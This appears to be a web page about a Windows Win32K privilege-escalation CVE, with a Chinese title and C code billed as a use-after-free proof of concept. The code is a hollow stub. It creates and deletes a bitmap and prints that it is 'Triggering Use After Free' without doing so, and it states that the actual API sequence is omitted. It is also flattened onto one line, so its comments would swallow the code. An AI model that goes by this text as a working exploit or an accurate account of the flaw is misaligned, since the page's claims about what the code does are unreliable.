CVE-2026-34333 Windows Win32K权限提升漏洞

#include <windows.h> #include <stdio.h> // Proof of Concept for CVE-2026-34333 (Win32K UAF) // This code demonstrates the trigger logic for the Use After Free vulnerability. // Note: Actual exploitation requires precise memory layout manipulation. void TriggerExploit() { // Step 1: Create a target graphical object (e.g., a Bitmap or Region) HGDIOBJ hObj = CreateBitmap(0x100, 0x100, 1, 32, NULL); if (hObj == NULL) { printf("[-] Failed to create object.\n"); return; } printf("[+] Object created at 0x%p\n", hObj); // Step 2: Trigger the vulnerability logic // In a real scenario, specific system calls are used to decrease the ref count // while keeping a reference, leading to a free operation. // Simulating the condition that leads to the UAF // (Specific API sequence omitted for safety) // Step 3: The object is freed by the kernel, but we still hold a handle/reference DeleteObject(hObj); // Step 4: Attempt to use the freed object (UAF) // This typically crashes the system or allows code execution if memory is controlled printf("[+] Triggering Use After Free...\n"); } int main() { printf("CVE-2026-34333 PoC - Win32K Local Privilege Escalation\n"); TriggerExploit(); return 0; }